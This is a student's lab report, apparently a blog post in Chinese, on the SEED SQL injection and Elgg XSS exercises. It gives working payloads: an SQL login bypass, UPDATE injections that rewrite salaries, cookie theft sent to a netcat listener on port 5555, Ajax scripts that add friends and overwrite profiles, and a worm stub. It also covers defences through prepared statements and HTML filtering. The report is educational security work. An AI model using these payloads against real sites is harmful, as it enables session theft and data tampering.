• 第十次作业 Web应用程序安全攻防


    实验要求

    SEED SQL注入攻击与防御实验

    我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

    1. 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
    2. 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
    3. 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
    4. SQL对抗:修复上述SQL注入攻击漏洞。

    二、SEED XSS跨站脚本攻击实验(Elgg)

    为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

    1. 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
    2. 弹窗显示cookie信息:将cookie信息显示。
    3. 窃取受害者的cookies:将cookie发送给攻击者。
    4. 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
    5. 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
    6. 编写XSS蠕虫。
    7. 对抗XSS攻击。

    实验过程

    SEED SQL注入攻击与防御实验

    熟悉SQL语句

    启动apache服务

    service apache2 start
    

    查看user表

    use Users;
    show tables;
    

    查看员工信息

    select * from credential;
    

    对SELECT语句的SQL注入攻击

    关闭PHP提供了自动对抗SQL注入的机制,并重启apache

    vim /etc/php5/apache2/php.ini
    将“magic_quotes_gpc = on”修改为“magic_quotes_gpc = off”
    service apache2 restart
    

    访问www.sqllabmysqlphpbb.com登录界面,用户名键入“admin'#”,密码为空

    可以看到我们已经成功绕过登录

    对UPDATE语句的SQL注入攻击

    登录Alice的账号

    在NickName那里输入语句

    ', salary='500000' where EID='10000';#
    

    可以看到Alice的工资已经被修改

    先登录Boby账号查看工资

    Alice修改的界面的nickname输入语句

    ', salary='1' where name='Boby';#
    

    可以看到Boby的工资已经被成功修改

    SQL对抗:修复上述SQL注入攻击漏洞

    将unsafe_home.php中sql处理代码修改如下。我们使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。

    SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。
    
          $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
          FROM credential
          WHERE name= '$input_uname' and Password='$hashed_pwd'";
          if (!$result = $conn->query($sql)) {
            echo "</div>";
            echo "</nav>";
            echo "<div class='container text-center'>";
            die('There was an error running the query [' . $conn->error . ']\n');
            echo "</div>";
          }
          /* convert the select return result into array type */
          $return_arr = array();
          while($row = $result->fetch_assoc()){
            array_push($return_arr,$row);
          }
    
          /* convert the array type to json format and read out*/
          $json_str = json_encode($return_arr);
          $json_a = json_decode($json_str,true);
          $id = $json_a[0]['id'];
          $name = $json_a[0]['name'];
          $eid = $json_a[0]['eid'];
          $salary = $json_a[0]['salary'];
          $birth = $json_a[0]['birth'];
          $ssn = $json_a[0]['ssn'];
          $phoneNumber = $json_a[0]['phoneNumber'];
          $address = $json_a[0]['address'];
          $email = $json_a[0]['email'];
          $pwd = $json_a[0]['Password'];
          $nickname = $json_a[0]['nickname'];
    

    当我们再次使用“Alice'#”的方式去绕过登录时,发现无法进入并且报错。

    将unsafe_edit_backend.php中的代码修改为下

    if($input_pwd!=''){
        // In case password field is not empty.
        $hashed_pwd = sha1($input_pwd);
        //Update the password stored in the session.
        $_SESSION['pwd']=$hashed_pwd;
        $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
        $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
        $sql->execute();
        $sql->close();
      }else{
        // if passowrd field is empty.
        $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
        $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
        $sql->execute();
        $sql->close();
      }
    

    当我们继续使用', salary='100' where name='Boby';#去修改Boby的工资时,发现整个字符串都被打印在了NickName中,修改工资却没有成功。

    SEED XSS跨站脚本攻击实验(Elgg)

    发布恶意消息,显示警报窗口

    访问www.xsslabelgg.com,使用Alice的用户名alice和密码seedalice登录

    点击edit profie,在Brief description中写入代码

    <script>alert('XSS');</script>
    

    使用Boby的账号访问Alice的主页,看到xss弹窗,攻击成功

    弹窗显示cookie信息

    将填入的代码改为

    <script> alert(document.cookie);</script>
    

    使用Boby的账号访问Alice的主页可以看到弹窗

    窃取受害者的cookies

    使用JavaScript将cookies发送到攻击者机器的5555端口

    <script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
    

    在终端中开启监听

    nc -l 5555 -v
    

    使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息

    成为受害者的朋友

    在Alice的about me中添加Javascript代码(这里要使用edit HTML模式)

    <script type="text/javascript">
    	window.onload = function () {
        var Ajax=null;
    	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
    	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
    	
    	
    	Ajax=new XMLHttpRequest();
    	Ajax.open("GET",sendurl,true);
    	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send();
    } 
    </script>
    

    用boby访问alice的主页,boby就会自动加alice为好友。

    修改受害者的信息

    同样在about me中构造的js程序

    <script type="text/javascript">
    	window.onload = function(){
      //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
      //and Security Token __elgg_token
    	var userName=elgg.session.user.name;
    	var guid="&guid="+elgg.session.user.guid;
    	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    	var token="&__elgg_token="+elgg.security.token.__elgg_token;
      
      var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    
      var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    	  
    	var samyGuid=44;    
    	if(elgg.session.user.guid!=samyGuid){
       	//Create and send Ajax request to modify profile
       	var Ajax=null;
       	Ajax=new XMLHttpRequest();
       	Ajax.open("POST",sendurl,true);
    		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
      }
    }
    
    </script>
    
    

    用boby访问Alice的profile,即可成功修改boby的profile

    编写XSS蠕虫

    <script id="worm" type ="text/javascript">
    	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
      var jsCode = document.getElementById("worm").innerHTML;
      var tailTag = "</" + "script>";
    	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    	alert(jsCode);
    </script>
    
    

    通过boby访问Alice的profile发现这段代码已经被成功的复制

    对抗XSS攻击

    我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed关闭它。

    查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。

    心得体会

    学习到了web攻击以及攻击防范的基本原理

  • 相关阅读:
    find命令的高级用法之print0及depth
    shell中的单引号和双引号的区别
    基于apache的虚拟主机
    duilib禁止標題欄雙擊放大窗口
    sqlite查询问题,由字母大小写敏感引起
    问题记录,Release模式和Debug运行效果不一样,Release必须加延时
    子函数内malloc分配内存,论如何改变指针参数所指内存,二级指针、三级指针的应用
    如何具体分配一大块堆内存中的各个部分、如何指针转化为地址、如何求指针间地址偏移量(谈谈最近遇到的一个坑爹的接口需求)
    C++ GUID和string转化函数【转载】
    第一次做C++项目的一点小总结
  • 原文地址:https://www.cnblogs.com/luoleqi/p/16278505.html
Copyright © 2020-2023  润新知